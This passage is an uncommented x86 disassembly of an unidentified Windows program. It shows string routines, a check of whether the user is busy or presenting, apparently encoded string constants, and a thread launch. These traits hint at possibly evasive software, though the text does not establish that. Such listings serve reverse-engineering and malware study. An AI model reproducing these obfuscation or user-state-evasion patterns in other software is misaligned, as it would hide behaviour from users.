call fcn.0042d150
mov esi, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x42
mov eax, edi
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a0ce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esi - 0xc], 0x14
jl 0x40a57d
push 8
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0041db30
mov edi, eax
mov byte [ebp - 4], 0x44
mov eax, dword [edi]
cmp dword [eax - 4], 1
jle 0x40a0fe
push dword [eax - 0xc]
mov ecx, edi
call fcn.0042cfa0
mov edx, dword [edi]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe4], 0
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a123
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xf8]
call fcn.0042b6f0
mov byte [ebp - 4], 0x45
call fcn.0054ce3d
cmp dword [ebp - 0xe4], 8
lea edi, [ebp - 0xf8]
mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0xf8]
mov dword [eax], 0
lea eax, [ebp - 0x40]
push 0x10
push eax
push edi
call fcn.0054e8c2
add esp, 0xc
mov dword [ebp - 0x34], edx
cmp edi, dword [ebp - 0x40]
je 0x40b539
mov ecx, dword [ebp - 0x14]
cmp dword [ecx], 0x22
je 0x40b52f
test edx, edx
ja 0x40a197
jb 0x40a19a
cmp eax, 0xffffffff
jbe 0x40a19a
or eax, 0xffffffff
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x48], eax
call fcn.0042c730
mov byte [ebp - 4], 0x42
or eax, 0xffffffff
mov edx, dword [ebp - 0x54]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a1c7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
push 8
add eax, 0xfffffff8
push eax
call fcn.0041def0
push ecx
mov edi, esp
mov dword [ebp - 0x34], edi
mov esi, dword [ebp - 0x2c]
lea ecx, [esi - 0x10]
call fcn.0042c560
add eax, 0x10
mov dword [edi], eax
call fcn.00445770
add esp, 4
cmp eax, dword [ebp - 0x48]
jne 0x40a57a
cmp dword [esi - 0xc], 4
jg 0x40a218
lea ecx, [esi - 0x10]
call fcn.0042c560
lea edi, [eax + 0x10]
mov dword [ebp - 0x18], edi
jmp 0x40a2a4
mov ecx, dword [esi - 0x10]
test ecx, ecx
je 0x40a22a
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
call eax
test eax, eax
jne 0x40a240
call fcn.0042cbc0
mov ecx, eax
mov edx, dword [eax]
mov eax, dword [edx + 0x10]
call eax
test eax, eax
je 0x40b45b
test esi, esi
je 0x40b548
mov ecx, dword [eax]
push 2
push 4
mov edx, dword [ecx]
mov ecx, eax
call edx
test eax, eax
je 0x40b543
cmp dword [eax + 8], 4
lea edi, [eax + 0x10]
mov dword [ebp - 0x18], edi
jl 0x40b548
xor eax, eax
mov dword [edi - 0xc], 4
mov word [edi + 8], ax
test edi, edi
je 0x40a294
test esi, esi
je 0x40a28d
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [edi], eax
mov dword [edi + 4], ecx
jmp 0x40a2a4
xorps xmm0, xmm0
movq qword [edi], xmm0
call fcn.0054ce3d
mov dword [eax], 0x16
call fcn.0054cd3f
mov eax, dword [ebp - 0x20]
mov ecx, 1
mov byte [ebp - 4], 0x46
or ecx, eax
cmp dword [edi - 4], 1
mov dword [ebp - 0x28], ecx
jle 0x40a2c9
push dword [edi - 0xc]
lea ecx, [ebp - 0x18]
call fcn.0042cfa0
mov edi, dword [ebp - 0x18]
mov ecx, edi
mov dword [ebp - 0xc4], 0
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
movups xmmword [ebp - 0xd4], xmm0
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a2f0
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0xd4]
call fcn.0042b6f0
mov byte [ebp - 4], 0x47
call fcn.0054ce3d
cmp dword [ebp - 0xc0], 8
lea esi, [ebp - 0xd4]
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0xd4]
mov dword [eax], 0
lea eax, [ebp - 0x58]
push 0x10
push eax
push esi
call fcn.0054e8c2
add esp, 0xc
mov dword [ebp - 0x34], edx
mov ecx, eax
mov dword [ebp - 0x44], ecx
cmp esi, dword [ebp - 0x58]
je 0x40b539
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0x22
je 0x40b52f
test edx, edx
ja 0x40a369
jb 0x40a370
cmp ecx, 0xffffffff
jbe 0x40a370
mov dword [ebp - 0x44], 0xffffffff
lea ecx, [ebp - 0xd4]
call fcn.0042c730
lea edx, [edi - 0x10]
mov byte [ebp - 4], 0x42
or edi, 0xffffffff
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a399
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 4
push 0
lea ecx, [ebp - 0x2c]
call fcn.0041def0
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
cmp dword [esi - 0xc], 0
jle 0x40a57d
push 8
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0041db30
mov edi, eax
mov byte [ebp - 4], 0x48
mov eax, dword [edi]
cmp dword [eax - 4], 1
jle 0x40a3de
push dword [eax - 0xc]
mov ecx, edi
call fcn.0042cfa0
mov edx, dword [edi]
xorps xmm0, xmm0
mov eax, edx
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a403
sub eax, edi
lea ecx, [ebp - 0x110]
sar eax, 1
push eax
push edx
call fcn.0042b6f0
mov byte [ebp - 4], 0x49
call fcn.0054ce3d
cmp dword [ebp - 0xfc], 8
lea edi, [ebp - 0x110]
mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0x110]
mov dword [eax], 0
lea eax, [ebp - 0x8c]
push 0x10
push eax
push edi
call fcn.0054e8c2
add esp, 0xc
mov dword [ebp - 0x34], edx
cmp edi, dword [ebp - 0x8c]
je 0x40b539
mov ecx, dword [ebp - 0x14]
cmp dword [ecx], 0x22
je 0x40b52f
test edx, edx
ja 0x40a47d
jb 0x40a480
cmp eax, 0xffffffff
jbe 0x40a480
or eax, 0xffffffff
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x48], eax
call fcn.0042c730
mov byte [ebp - 4], 0x42
or edi, 0xffffffff
mov edx, dword [ebp - 0x5c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a4af
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x64]
call fcn.00421f90
mov ecx, dword [ebp - 0xd8]
cmp byte [ecx + 0xd], 0
jne 0x40a4da
mov eax, dword [ebp - 0x48]
cmp eax, dword [ecx + 0x10]
jae 0x40a54e
cmp dword [ebp - 0x60], 0xaaaaaaa
je 0x40b52a
mov edi, dword [ebp - 0x64]
lea eax, [ebp - 0x64]
mov dword [ebp - 0xb4], eax
mov byte [ebp - 4], 0x4a
push 0x18
mov dword [ebp - 0xb0], 0
call fcn.00547e47
mov byte [ebp - 4], 0x42
add esp, 4
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0xb0], 0
mov dword [eax + 0x10], ecx
lea ecx, [ebp - 0x64]
push eax
push dword [ebp - 0xdc]
mov dword [eax + 0x14], 0
push dword [ebp - 0xe0]
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov word [eax + 0xc], 0
call fcn.00421580
mov ecx, eax
or edi, 0xffffffff
mov eax, dword [ebp - 0x44]
mov dword [ecx + 0x14], eax
lea ecx, [ebp - 0x2c]
mov eax, dword [esi - 0xc]
push 8
add eax, 0xfffffff8
push eax
call fcn.0041def0
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
cmp dword [esi - 0xc], 0
jg 0x40a3b8
jmp 0x40a57d
or edi, 0xffffffff
push dword [ebp - 0x4c]
call fcn.0054e757
add esp, 4
test eax, eax
je 0x40a040
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x20], eax
lea edi, [eax + 0xc]
push edi
mov dword [ebp - 0x34], edi
call fcn.00534084
add esp, 4
test eax, eax
jne 0x40b523
mov eax, dword [edi + 0x2c]
cmp eax, 0x7fffffff
je 0x40b552
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0x64]
mov ecx, dword [ebp - 0x20]
add ecx, 4
cmp ecx, eax
je 0x40a668
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
push dword [eax + 4]
push ecx
call fcn.00421fe0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
add ecx, 4
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [eax + 8], eax
push dword [ecx]
mov dword [ecx + 4], 0
mov eax, dword [ebp - 0x64]
push dword [eax + 4]
call fcn.0045f8a0
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx + 4]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [edx + 8], eax
mov eax, dword [edx + 4]
mov ecx, dword [eax + 4]
cmp byte [ecx + 0xd], 0
jne 0x40a660
mov eax, dword [ecx]
cmp byte [eax + 0xd], 0
jne 0x40a63a
nop dword [eax]
mov ecx, eax
mov eax, dword [ecx]
cmp byte [eax + 0xd], 0
je 0x40a630
mov eax, dword [edx + 4]
mov dword [eax], ecx
mov edx, dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
jne 0x40a65b
nop
mov ecx, eax
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
je 0x40a650
mov dword [edx + 8], ecx
jmp 0x40a668
mov dword [eax], eax
mov eax, dword [edx + 4]
mov dword [eax + 8], eax
push edi
call fcn.00534095
mov eax, dword [ebp - 0x64]
add esp, 4
push dword [eax + 4]
lea eax, [ebp - 0x64]
push eax
mov ecx, eax
call fcn.00421fe0
push 0x18
push dword [ebp - 0x64]
call fcn.00547d61
add esp, 8
jmp 0x409dea
cmp dword [esi - 4], 1
jle 0x40a6a8
push dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
call fcn.0042cfa0
mov esi, dword [ebp - 0x2c]
push esi
call fcn.0054e53f
add esp, 4
mov edi, eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x48], edi
push eax
call dword [sym.imp.SHELL32.dll_SHQueryUserNotificationState]
mov eax, dword [ebp - 0x14]
cmp eax, 5
je 0x40a923
cmp eax, 7
je 0x40a923
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b45b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.TUhMmQiIu1Kic_RFygryPistbMCktPKA
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x66
call fcn.0042ce30
test al, al
jne 0x40a715
push 0x22
push str.TUhMmQiIu1Kic_RFygryPistbMCktPKA
lea ecx, [ebp - 0x28]
call fcn.0042d150
mov byte [ebp - 4], 0x68
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b55d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push edi
push ecx
mov byte [ebp - 4], 0x69
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x70]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [edi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x6a
push dword [eax]
lea eax, [ebp - 0x30]
push eax
call fcn.0041f790
mov byte [ebp - 4], 0x69
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a78c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b567
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x58e88c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x6b
call fcn.0042ce30
test al, al
jne 0x40a7cc
push 0
push 0x58e88c
lea ecx, [ebp - 0x18]
call fcn.0042d150
mov byte [ebp - 4], 0x6c
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b571
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x58e88c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6d
call fcn.0042ce30
test al, al
jne 0x40a810
push 0
push 0x58e88c
lea ecx, [ebp - 0x20]
call fcn.0042d150
push ecx
mov byte [ebp - 4], 0x6e
mov edi, esp
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00443520
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x6f
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042c560
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.00443520
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x70
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.00454430
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a896
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a8b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a8cc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x18]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a8e7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a902
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409ded
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x409ded
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b45b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x5895b0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x4c
call fcn.0042ce30
test al, al
jne 0x40a963
push 0x13
push 0x5895b0
lea ecx, [ebp - 0x28]
call fcn.0042d150
mov byte [ebp - 4], 0x4d
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b57b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push str.VFRM0dRg1mPwEATPSEQ
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x4e
call fcn.0042ce30
test al, al
jne 0x40a9a7
push 0x13
push str.VFRM0dRg1mPwEATPSEQ
lea ecx, [ebp - 0x30]
call fcn.0042d150
push ecx
mov byte [ebp - 4], 0x4f
mov dword [ebp - 0x34], esp
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x24], edi
mov ecx, dword [0x5c1b14]
lea ecx, [ecx - 0x10]
call fcn.0042c560
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.00443520
mov byte [ebp - 4], 0x50
lea ecx, [esi - 0x10]
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x14], edi
call fcn.0042c560
add eax, 0x10
mov dword [edi], eax
mov byte [ebp - 4], 0x51
push ecx
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x40], edi
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x58], eax
call fcn.0042c560
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x4f
mov ecx, SysReAllocString
call fcn.004466b0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x1c]
add esp, 0xc
call fcn.00446940
mov byte [ebp - 4], 0x52
lea edi, [esi - 0x10]
mov edx, dword [eax]
lea ecx, [edx - 0x10]
cmp ecx, edi
je 0x40aa8d
mov eax, dword [edi + 0xc]
lea esi, [edi + 0xc]
shr eax, 0x1f
test al, al
jne 0x40aa7e
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x40aa7e
call fcn.0042c560
mov dword [ebp - 0x14], eax
or ecx, 0xffffffff
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40aa76
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x14]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x40aa8d
push dword [ecx + 4]
lea ecx, [ebp - 0x2c]
push edx
call fcn.0042d150
mov esi, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x4f
or eax, 0xffffffff
mov edx, dword [ebp - 0x1c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aaac
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esi - 4], 1
jle 0x40aac0
push dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
call fcn.0042cfa0
mov esi, dword [ebp - 0x2c]
push esi
call fcn.0054e53f
mov dword [ebp - 0x34], esp
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5c1b14]
lea ecx, [ecx - 0x10]
call fcn.0042c560
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.00443520
mov byte [ebp - 4], 0x53
lea ecx, [esi - 0x10]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x14], edi
call fcn.0042c560
add eax, 0x10
mov dword [edi], eax
mov byte [ebp - 4], 0x54
push ecx
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0042c560
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x4f
mov ecx, SysReAllocString
call fcn.004466b0
add esp, 0xc
mov byte [ebp - 4], 0x55
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b585
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x56
push dword [ebp - 0x48]
push ecx
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x70]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [edi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x57
push dword [eax]
lea eax, [ebp - 0x44]
push eax
call fcn.0041f790
mov byte [ebp - 4], 0x56
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40abbc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b58f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x58e88c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x58
call fcn.0042ce30
test al, al
jne 0x40abfc
push 0
push 0x58e88c
lea ecx, [ebp - 0x18]
call fcn.0042d150
mov byte [ebp - 4], 0x59
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b599
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x58e88c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x5a
call fcn.0042ce30
test al, al
jne 0x40ac40
push 0
push 0x58e88c
lea ecx, [ebp - 0x20]
call fcn.0042d150
push ecx
mov byte [ebp - 4], 0x5b
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x94]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00443520
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042c560
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.00443520
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x5d
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x44]
push ecx
mov ecx, eax
call fcn.00454430
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40acc4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40acdf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40acfa
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x56
or eax, 0xffffffff
mov edx, dword [ebp - 0x18]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ad19
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x48], 0
je 0x40af59
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 0x118], 0
jne 0x40af59
mov byte [ebp - 4], 0x5e
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b5a3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x5f
mov eax, dword [ebp - 0x48]
push eax
sub esp, 0x18
mov dword [ecx + 0x114], eax
lea eax, [ebp - 0x188]
mov ecx, esp
push eax
call fcn.0042c650
lea ecx, [ebp - 0x14]
call fcn.004430f0
add esp, 0x18
mov byte [ebp - 4], 0x60
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.0041f790
mov byte [ebp - 4], 0x5f
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40adb1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.0042c650
lea ecx, [ebp - 0x1c]
call fcn.004430f0
add esp, 0x18
mov byte [ebp - 4], 0x61
mov edx, dword [eax]
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x14], eax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40ade0
sub ecx, dword [ebp - 0x14]
sar ecx, 1
push ecx
mov ecx, dword [ebp - 0x3c]
push edx
lea ecx, [ecx + 0x120]
call fcn.0042bea0
mov byte [ebp - 4], 0x5f
or eax, 0xffffffff
mov edx, dword [ebp - 0x1c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae1f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b5ad
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.QjY20QjkULVzIywFAxiFORRYULTZfrUCshpV0IrnLVhFUYHgWLTWAtuUFAniMH9FVDTJTKWGB4hFkIwCN1NLDPz8
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x62
call fcn.0042ce30
test al, al
jne 0x40ae5f
push 0x59
push str.QjY20QjkULVzIywFAxiFORRYULTZfrUCshpV0IrnLVhFUYHgWLTWAtuUFAniMH9FVDTJTKWGB4hFkIwCN1NLDPz8
lea ecx, [ebp - 0x20]
call fcn.0042d150
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x63
push 4
push ecx
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x1c], esp
push ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], esp
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x40], eax
call fcn.0042c560
mov ecx, dword [ebp - 0x1c]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.00443520
mov ecx, dword [ebp - 0x24]
add esp, 4
call fcn.0045d460
mov ecx, dword [ebp - 0x3c]
push 8
push ecx
mov eax, dword [ecx + 0x4c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], esp
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042c560
mov ecx, dword [ebp - 0x1c]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.0045d460
push 4
call fcn.00547e47
mov ecx, dword [ebp - 0x3c]
add esp, 4
mov dword [ebp - 0x34], eax
mov dword [eax], ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x64
push ecx
push 0
push eax
push 0x422d90
push 0
push 0
call fcn.00553fa9
add esp, 0x18
mov dword [ebp - 0x90], eax
test eax, eax
je 0x40b5bc
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x65
call fcn.0042b810
cmp dword [ebp - 0x8c], 0
jne 0x40b5b7
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40af41
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40af59
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40af74
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40af8c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
jmp 0x40a905
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b5cd
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x58e88c
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x71
call fcn.0042ce30
test al, al
jne 0x40afd4
push 0
push 0x58e88c
lea ecx, [ebp - 0x28]
call fcn.0042d150
mov byte [ebp - 4], 0x72
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
